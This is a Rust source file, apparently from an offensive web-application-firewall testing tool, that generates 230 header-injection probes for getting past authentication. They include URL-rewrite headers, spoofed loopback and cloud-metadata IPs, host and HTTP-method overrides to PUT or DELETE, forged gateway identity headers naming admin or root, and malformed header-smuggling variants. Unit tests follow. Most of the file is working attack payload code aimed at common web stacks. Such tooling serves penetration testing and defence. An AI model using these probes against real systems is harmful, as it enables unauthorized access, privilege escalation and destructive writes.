Skip to main content

wafrift_encoding/
auth_bypass.rs

1//! Auth-bypass header probes (Orange Tsai parser-disagreement class).
2//!
3//! Many WAFs strip or never forward certain "trust" headers — but the
4//! origin application accepts them and uses them for routing or
5//! authentication decisions. The classic exploit primitive is:
6//!
7//! - `X-Original-URL: /admin/secret` — IIS / ASP.NET URL rewriting.
8//!   WAF sees `GET /public` and lets it through; backend rewrites to
9//!   `/admin/secret` and serves it.
10//! - `X-Rewrite-URL: /admin/secret` — same family, different stack.
11//! - `X-Forwarded-For: 127.0.0.1` — origin trusts this for IP-based
12//!   allowlists ("internal calls only").
13//! - `X-Real-IP`, `X-Originating-IP`, `X-Client-IP`, `X-Remote-IP`,
14//!   `X-Forwarded-Host` — same family, different headers.
15//! - `X-HTTP-Method-Override: PUT` — origin overrides the actual HTTP
16//!   method, turning a GET past the WAF into a destructive write.
17//!
18//! These are not "WAF evasion" in the traditional sense — they exploit
19//! the WAF's correct behaviour (passing through unknown headers) plus
20//! the backend's incorrect behaviour (trusting them). Together: real
21//! pre-auth access on hardened-looking deployments. `ProxyShell`
22//! (CVE-2021-34473) and a long tail of Bugcrowd / `HackerOne` reports
23//! are in this class.
24//!
25//! This module emits a list of `(header_name, header_value)` pairs.
26//! Each pair is one probe variant; callers attach exactly one per
27//! request and observe whether the response status / body changes vs
28//! the baseline.
29
30/// One auth-bypass probe to attach to a single request.
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AuthBypassProbe {
33    /// Header name to inject.
34    pub header: String,
35    /// Header value.
36    pub value: String,
37    /// Short label naming the bypass family (e.g. `x-original-url`,
38    /// `forwarded-for-localhost`, `method-override-put`). Useful for
39    /// gene-bank attribution.
40    pub label: &'static str,
41    /// Concise human description suitable for a finding report.
42    pub description: &'static str,
43}
44
45/// Canonical size of the auth-bypass probe set returned by
46/// [`auth_bypass_probes`] — the single source of truth for the count.
47/// Render-time consumers that cite "N auth-bypass probes" (e.g.
48/// `wafrift legendary`'s report prose) interpolate this const so the
49/// number cannot drift. The static doc sites that can't interpolate a
50/// const (README, clap `#[arg]` help) are instead pinned by
51/// `tests/auth_bypass_probe_count_documented.rs`. Composition:
52/// URL-rewrite (6) + IP-trust (12×7=84) + Host-trust (4×4=16) +
53/// Method-override (4×6=24) + Scheme-trust (3×2=6) + Gateway-identity
54/// (18×5=90) + Header-smuggle-LWS (4) = 230.
55pub const AUTH_BYPASS_PROBE_COUNT: usize = 230;
56
57/// Generate the full set of routing / auth bypass probes for the given
58/// target. `target_path` is the protected resource the user is trying
59/// to reach (e.g. `/admin/users`, `/internal/api/keys`). For probes
60/// that don't take a path it is ignored.
61#[must_use]
62pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
63    // Pre-sized to the canonical count (pinned by an integrity test).
64    // Pre-sizing eliminates 8-9 Vec reallocations during the family
65    // construction loops. Per perf-hunt finding F05.
66    let mut out = Vec::with_capacity(AUTH_BYPASS_PROBE_COUNT);
67
68    // ── URL-rewrite header family ────────────────────────────────────
69    // IIS / ASP.NET / Apache mod_rewrite all honour these in various
70    // configs. The WAF doesn't, so it sees the harmless surface URL.
71    for header in [
72        "X-Original-URL",
73        "X-Rewrite-URL",
74        "X-Override-URL",
75        "X-HTTP-Destination",
76        "Original-URL",
77        "X-Forwarded-Path",
78    ] {
79        out.push(AuthBypassProbe {
80            header: header.to_string(),
81            value: target_path.to_string(),
82            label: "url-rewrite-header",
83            description: "WAF passes header through; backend rewrites URL to target",
84        });
85    }
86
87    // ── IP-trust header family ───────────────────────────────────────
88    // Many backends gate /admin or /internal on "is the source IP in
89    // the loopback / RFC1918 range?" — and read the header instead of
90    // the socket peer. Spoof the trusted IP.
91    let trusted_ips = [
92        "127.0.0.1",
93        "::1",
94        "localhost",
95        "10.0.0.1",
96        "192.168.0.1",
97        "172.16.0.1",
98        "169.254.169.254", // AWS metadata service host
99    ];
100    let ip_headers = [
101        "X-Forwarded-For",
102        "X-Real-IP",
103        "X-Originating-IP",
104        "X-Client-IP",
105        "X-Remote-IP",
106        "X-Remote-Addr",
107        "Forwarded",      // RFC 7239 standard form
108        "True-Client-IP", // Akamai / Cloudflare Enterprise
109        "CF-Connecting-IP",
110        "Fastly-Client-IP",
111        "X-Cluster-Client-IP",
112        "Client-IP",
113    ];
114    for h in ip_headers {
115        for ip in trusted_ips {
116            let value = if h.eq_ignore_ascii_case("Forwarded") {
117                // RFC 7239 §4 + §6.3: node-name production requires
118                // IPv6 to be bracketed AND quoted (`for="[::1]"`).
119                // Bare hostnames like `localhost` are NOT valid as
120                // node-names — they must be obfnodes (`_internal`)
121                // or the backend (nginx realip, Apache mod_remoteip)
122                // rejects the value silently and the probe never
123                // reaches the auth path it's meant to test.
124                // Audit (2026-05-10).
125                if ip.contains(':') && !ip.starts_with('[') {
126                    format!(r#"for="[{ip}]""#)
127                } else if ip.parse::<std::net::IpAddr>().is_err() {
128                    // Non-IP token (e.g. "localhost"): rewrite as
129                    // RFC-7239-valid obfnode.
130                    let obf: String = ip
131                        .chars()
132                        .filter(|c| c.is_ascii_alphanumeric() || *c == '_')
133                        .collect();
134                    format!("for=_{obf}")
135                } else {
136                    format!("for={ip}")
137                }
138            } else {
139                ip.to_string()
140            };
141            out.push(AuthBypassProbe {
142                header: h.to_string(),
143                value,
144                label: "ip-trust-spoof",
145                description: "Backend trusts header for IP-based authorization",
146            });
147        }
148    }
149
150    // ── Host-trust header family ─────────────────────────────────────
151    // Origin uses Host header for vhost routing or for "is this an
152    // internal call?". Override with an internal hostname.
153    for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
154        for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
155            out.push(AuthBypassProbe {
156                header: h.to_string(),
157                value: v.to_string(),
158                label: "host-trust-override",
159                description: "Origin uses header for vhost/internal-call routing",
160            });
161        }
162    }
163
164    // ── Method-override family ───────────────────────────────────────
165    // Backends accepting these turn a GET past the WAF into a PUT/
166    // DELETE/PATCH. Useful when the WAF only inspects state-changing
167    // methods.
168    for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
169        for h in [
170            "X-HTTP-Method-Override",
171            "X-HTTP-Method",
172            "X-Method-Override",
173            "_method", // Rails, Symfony default
174        ] {
175            out.push(AuthBypassProbe {
176                header: h.to_string(),
177                value: value.to_string(),
178                label: "method-override",
179                description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
180            });
181        }
182    }
183
184    // ── Scheme-trust family ──────────────────────────────────────────
185    // Some apps gate features on "did you come in over HTTPS?" by
186    // reading X-Forwarded-Proto. If they only enforce auth on HTTP,
187    // forcing https here can flip a check.
188    for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
189        for v in ["http", "https"] {
190            out.push(AuthBypassProbe {
191                header: h.to_string(),
192                value: v.to_string(),
193                label: "scheme-trust",
194                description: "Origin uses header to decide HTTPS-only enforcement",
195            });
196        }
197    }
198
199    // ── 2026 frontier: gateway-injected-identity family ──────────────
200    // Cloud API gateways (Cloudflare Access, AWS API Gateway, Azure
201    // Front Door, GCP IAP, Auth0 Authorization Code Flow) inject
202    // identity headers AFTER the gateway authenticates the caller.
203    // Some backends trust these unconditionally — if the WAF is
204    // upstream of the gateway (uncommon but happens in zero-trust
205    // chained-proxy setups) or if a misconfigured backend reads them
206    // from any caller, spoofing the identity bypasses auth.
207    for h in [
208        "Cf-Access-Authenticated-User-Email", // Cloudflare Access
209        "Cf-Access-Jwt-Assertion",
210        "X-Goog-Authenticated-User-Email", // GCP IAP
211        "X-Goog-Iap-Jwt-Assertion",
212        "X-Amzn-Oidc-Identity", // AWS ALB OIDC
213        "X-Amzn-Oidc-Data",
214        "X-Ms-Client-Principal-Name", // Azure App Service Easy Auth
215        "X-Ms-Client-Principal-Id",
216        "X-Ms-Token-Aad-Id-Token",
217        "X-Authentik-Username", // Authentik / open-source proxy
218        "X-Authentik-Groups",
219        "X-Auth-Request-User", // oauth2-proxy default
220        "X-Auth-Request-Email",
221        "X-Auth-Request-Groups",
222        "X-Forwarded-User", // Traefik forwardAuth default
223        "X-Forwarded-Email",
224        "X-Forwarded-Groups",
225        "X-Webauth-User", // Grafana
226    ] {
227        for v in [
228            "admin",
229            "admin@example.com",
230            "root",
231            "root@localhost",
232            "administrator@internal",
233        ] {
234            out.push(AuthBypassProbe {
235                header: h.to_string(),
236                value: v.to_string(),
237                label: "gateway-identity-spoof",
238                description: "Backend trusts gateway-injected identity header without verifying upstream signature",
239            });
240        }
241    }
242
243    // ── 2026 frontier: header-smuggling-via-LWS family ───────────────
244    // Single-char obfuscations of a known-trusted header name that
245    // some WAFs strip-normalise (case-insensitive byte compare) but
246    // backends preserve as a distinct header. If the backend has a
247    // case-insensitive lookup AND the WAF normalises tokens via
248    // strict case-insensitive ASCII matching only, this slips.
249    //
250    // Per perf-hunt finding F19 (2026-05-23): two of these variants
251    // (leading-space, trailing-tab) violate RFC 7230 §3.2 and are
252    // rejected by compliant HTTP/1.1 parsers (Apache, nginx, IIS, the
253    // reqwest client we use). They survive against custom / embedded
254    // servers (some legacy app servers, internal RPC bridges) but
255    // hit rate is low. Kept for defense-in-depth against non-compliant
256    // stacks rather than removed — see the LWS anti-rig test in
257    // tests/auth_bypass_deep.rs.
258    for variant in [
259        " X-Real-IP",       // leading space (RFC-illegal; legacy stacks only)
260        "X-Real-IP\t",      // trailing tab (RFC-illegal; legacy stacks only)
261        "X\u{00ad}Real-IP", // soft hyphen U+00AD inside (some parsers drop)
262        "X-Real_IP",        // underscore swap (nginx default DROPS this;
263                            // Apache passes it through — divergence
264                            // surfaces the misconfiguration).
265    ] {
266        out.push(AuthBypassProbe {
267            header: variant.to_string(),
268            value: "127.0.0.1".to_string(),
269            label: "header-smuggle-lws",
270            description: "Whitespace / case / underscore variant of a trusted header — exploits WAF↔backend normalisation gap",
271        });
272    }
273
274    out
275}
276
277#[cfg(test)]
278mod tests {
279    use super::*;
280
281    #[test]
282    fn url_rewrite_family_targets_user_path() {
283        let probes = auth_bypass_probes("/admin/users");
284        let rewrite = probes
285            .iter()
286            .filter(|p| p.label == "url-rewrite-header")
287            .collect::<Vec<_>>();
288        assert!(rewrite.len() >= 6, "missing rewrite-header variants");
289        for p in rewrite {
290            assert_eq!(
291                p.value, "/admin/users",
292                "{} did not carry user path",
293                p.header
294            );
295        }
296    }
297
298    #[test]
299    fn x_original_url_present() {
300        let probes = auth_bypass_probes("/admin");
301        assert!(
302            probes
303                .iter()
304                .any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
305            "missing canonical X-Original-URL probe"
306        );
307    }
308
309    #[test]
310    fn ip_trust_includes_loopback_and_metadata() {
311        let probes = auth_bypass_probes("/x");
312        let ip = probes
313            .iter()
314            .filter(|p| p.label == "ip-trust-spoof")
315            .collect::<Vec<_>>();
316        assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
317        assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
318        // RFC 7239 Forwarded uses for=<ip> form, not bare IP.
319        assert!(
320            ip.iter()
321                .any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
322        );
323    }
324
325    #[test]
326    fn method_override_offers_destructive_methods() {
327        let probes = auth_bypass_probes("/x");
328        let methods: Vec<&str> = probes
329            .iter()
330            .filter(|p| p.label == "method-override")
331            .map(|p| p.value.as_str())
332            .collect();
333        for m in ["PUT", "DELETE", "PATCH"] {
334            assert!(methods.contains(&m), "method {m} not in override probes");
335        }
336    }
337
338    #[test]
339    fn forwarded_host_includes_internal() {
340        let probes = auth_bypass_probes("/x");
341        assert!(
342            probes.iter().any(|p| p.header == "X-Forwarded-Host"
343                && (p.value == "localhost" || p.value == "internal"))
344        );
345    }
346
347    #[test]
348    fn no_probe_has_empty_header_or_value() {
349        for p in auth_bypass_probes("/x") {
350            assert!(!p.header.is_empty(), "empty header in probe");
351            assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
352        }
353    }
354
355    #[test]
356    fn probes_have_unique_header_value_pairs() {
357        let probes = auth_bypass_probes("/admin");
358        let mut seen = std::collections::HashSet::new();
359        for p in &probes {
360            let key = (p.header.to_lowercase(), p.value.clone());
361            assert!(
362                seen.insert(key.clone()),
363                "duplicate (header, value) pair: {key:?}"
364            );
365        }
366    }
367
368    // F132 documentation test: the header-smuggle-LWS family DOES
369    // contain HTTP/1.1-illegal shapes that any compliant client
370    // (reqwest included) will refuse to send. They are kept in the
371    // probe set because raw-TCP / legacy-stack transports CAN deliver
372    // them and that is where the bypass lives. CLI consumers using
373    // reqwest must pre-validate via HeaderName::try_from and warn so
374    // the operator can distinguish "fired and no divergence" from
375    // "client refused to send." This test pins which ones are illegal
376    // — if a future cleanup quietly removes one, this fails first.
377    #[test]
378    fn header_smuggle_lws_family_contains_known_rfc_illegal_shapes() {
379        let probes = auth_bypass_probes("/admin");
380        let smuggle: Vec<&AuthBypassProbe> = probes
381            .iter()
382            .filter(|p| p.label == "header-smuggle-lws")
383            .collect();
384        // Pre-fix this whole batch was ~4; lock that floor so a
385        // refactor doesn't silently drop the family.
386        assert!(
387            smuggle.len() >= 4,
388            "header-smuggle-lws family must contain at least 4 variants"
389        );
390        // Leading-space and trailing-tab variants are RFC 7230 §3.2-
391        // illegal — every compliant HTTP/1.1 parser rejects them.
392        // The probe set keeps them anyway for raw-TCP delivery to
393        // non-compliant origins.
394        assert!(
395            smuggle.iter().any(|p| p.header == " X-Real-IP"),
396            "leading-space variant missing"
397        );
398        assert!(
399            smuggle.iter().any(|p| p.header == "X-Real-IP\t"),
400            "trailing-tab variant missing"
401        );
402        // Soft-hyphen (U+00AD) is non-ASCII; HeaderName requires
403        // ASCII visible chars per RFC 7230 token grammar.
404        assert!(
405            smuggle.iter().any(|p| p.header.contains('\u{00ad}')),
406            "soft-hyphen variant missing"
407        );
408        // X-Real_IP (underscore) is RFC-LEGAL — origin-side normalization
409        // gap. This one SHOULD pass HeaderName validation.
410        assert!(
411            smuggle.iter().any(|p| p.header == "X-Real_IP"),
412            "underscore variant missing"
413        );
414    }
415
416    #[test]
417    fn total_probe_count_locked() {
418        // Lock the count so a future edit doesn't silently drop a probe
419        // family. URL-rewrite (6) + IP-trust (12 headers × 7 IPs = 84)
420        // + Host-trust (4 × 4 = 16) + Method-override (4 × 6 = 24)
421        // + Scheme-trust (3 × 2 = 6) + Gateway-identity (18 × 5 = 90)
422        // + Header-smuggle-LWS (4) = 230.
423        let probes = auth_bypass_probes("/x");
424        assert_eq!(
425            probes.len(),
426            AUTH_BYPASS_PROBE_COUNT,
427            "auth_bypass_probes count drift"
428        );
429    }
430}